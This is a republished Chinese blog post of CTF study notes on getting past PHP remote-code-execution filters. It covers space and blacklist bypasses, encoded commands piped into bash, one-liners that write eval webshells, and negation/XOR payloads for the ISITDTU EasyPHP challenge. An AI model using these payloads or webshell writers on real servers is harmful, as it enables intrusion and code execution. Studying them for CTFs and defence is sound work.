返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHP-RCE绕过的姿势总结
  • 153
分享到

PHP-RCE绕过的姿势总结

php开发语言后端 2023-09-08 11:09:44 153人浏览 泡泡鱼
摘要

文章目录 前言一、命令执行空格过滤取反绕过命令分隔符黑名单绕过(比如flag字符)拼接编码单双引号的绕过 二、代码执行linux中的直接查看文件内容工具通过命令行写入webshell无数字

文章目录

前言

做了很多的题目,静下心来学习大佬做点小总结


一、命令执行

空格过滤

在这里插入图片描述
在这里插入图片描述

<<>%20(space)%09(tab)、$IFS$9、 ${IFS}、$IFS等

取反绕过

取反两次就可以得到想要绕过限制的数据
在这里插入图片描述
传参时

?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
在做NSS平台上的一道rce题目就是用到类似的思路,这里是把system函数取反
要想做经典取反例题就是下面这道极客的题
[极客大挑战 2019]RCE ME,感兴趣可以去buu上做
wp链接[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)
搜到的大佬脚本

<?PHP//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

在这里插入图片描述

命令分隔符

linux中:%0a(回车)%0d(换行);&|&&||
windows中:%0a、&|%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

在这里插入图片描述

黑名单绕过(比如flag字符)

拼接

1.a=fl;b=ag;cat $a$b

或者如
在这里插入图片描述
在这里插入图片描述

2.用点来链接   (sy.(st).em)
3.使用内敛执行代替systemecho `ls`;echo $(ls);?><?=`ls`;?><?=$(ls);<?=`ls /`;?>      #   以上语句皆等效于<?php echo `ls /`; ?>

编码

1.base64编码绕过echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag这边我是有点存疑的,我自己实验后是会报错的echo 'Y2F0wqAK' | base64 -d 文件的名字上面echo输出到d的地方会被命令行解析为cat,整个句子就可以变为cat 某个文件的文件名从而达到绕过来查看内容的目的但我却在kali里出现了如下错误提示

在这里插入图片描述

同样在ubuntu上也是不行希望有懂得大佬能评论解惑一下==

在这里插入图片描述

2.Hexecho "636174202f666c6167" | xxd -r -p|bash ==>cat /flag
3.oct$(printf "\154\163") ==>ls$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag#可以通过这样来写WEBshell,内容为${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

例题可见[GXYCTF 2019]Ping Ping Ping

单双引号的绕过

ca‘‘t flag 或ca""t flag

二、代码执行

两者之间的小区别
在这里插入图片描述

linux中的直接查看文件内容工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

在这里插入图片描述

举例cat `ls` (该目录下存在index.php和flag.php,也就是此命令会扫描当前目录然后读取所有文件)等效于cat flag.php;cat index.php

在这里插入图片描述

通过命令行写入webshell

linux
echo<?php eval(@\$_POST['pass']);?>> shell.php;

或者十六进制写法

echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php
windows
“echo ^<?php eval($_POST[pass]); ?^> > shell.php”

成功后就有一句话木马可以执行使用,相当于绕过过滤

无数字字母绕过webshell

上题目讲解:[ISITDTU 2019]EasyPHP
源码

<?phphighlight_file(__FILE__);$_ = @$_GET['_'];if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defGops\x7F]+/i', $_) )    die('rosé will not do it');if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )    die('you are so close, omg');eval($_);?>

参考wp
在这里插入图片描述
count_chars() 函数返回字符串中所用字符的信息(例如,ASCII 字符在字符串中出现的次数,或者某个字符是否已经在字符串中使用过)。
可以看到~和^没有被过滤,所以应该使用异或和取反绕过。
试一下用取反查看phpinfo

(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
成功了
在这里插入图片描述
禁止很多函数
但我们可以用print_r(scandir(.))函数获得目录。

((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)

但要绕过第二个if
本地测试后我们的payload经过count_chars之后长度为16,我们要想办法减少三个
这里有一个思路
先上脚本

str = 'acdips'target = 'ntr'for m in target:    for a in str:        for b in str:            for c in str:                if ord(a)^ord(b)^ord(c) == ord(m):                    print("{} = {}^{}^{}".fORMat(m,a,b,c))

得到

n = c^d^it = c^d^sr = a^c^p

拿n为例。因为n = cdi 所以~n = ~cdi成立,即n ^0xff= cdi^0xff成立
再来看看我们的payload,取前部分print_r说明
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)将对应的ntr替换变成:
(%8F%9E%96%9C%9C%A0%9E)(%FF%9C%FF%9B%9B%FF%9C)(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF)
在四个括号中,将要替换的字符用响应的三个代替字符代替,最后一个括号全为0xff相当于取反,而其他不变的字符不变,但异或了3个0xff相当于取反三次,等同于去反一次,所以仍不变,本地测试。
在这里插入图片描述

再进行替换
再用这个思路将payload中所有的ntr替换。
最后

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

在这里插入图片描述

print_r(scandir(.))

((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

readfile(end(scandir(.)))

((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

无回显RCE

有时候碰到一些命令函数,比如exec执行是没有回显的,就可以采用使用重定向输出到文件,再查看文件内容的办法
在这里插入图片描述
看一道例题
在这里插入图片描述

 <?phphighlight_file(__FILE__);if(isset($_GET['url'])){    $url=$_GET['url'];    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))    {        echo "Sorry,you can't use this.";    }    else    {        echo "Can you see anything?";        exec($url);    }} Can you see anything?

绕过姿势很简单,但是关键就在绕过后看不到回显内容
我们采用输出到文件的方法

url=l\s / | tee 1.txt

访问1.txt
在这里插入图片描述
成功,读取flag就好
url=tac /flllll\aaaaaaggggggg | tee 2.txt
羽师傅的文章
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

⽆字⺟数字shell

当限制较多,不过⻓度较⻓时,考虑⽆字⺟数字shell
在这里插入图片描述

总结

参考文章

RCE漏洞之绕过
总结rce(远程代码执行各种sao姿势)绕过bypass
RCE的Bypass骚姿势
PHP空格绕过(给自己看)
RCE注入过滤

来源地址:https://blog.csdn.net/weixin_51213906/article/details/123010661

--结束END--

本文标题: PHP-RCE绕过的姿势总结

本文链接: https://lsjlt.com/news/399789.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作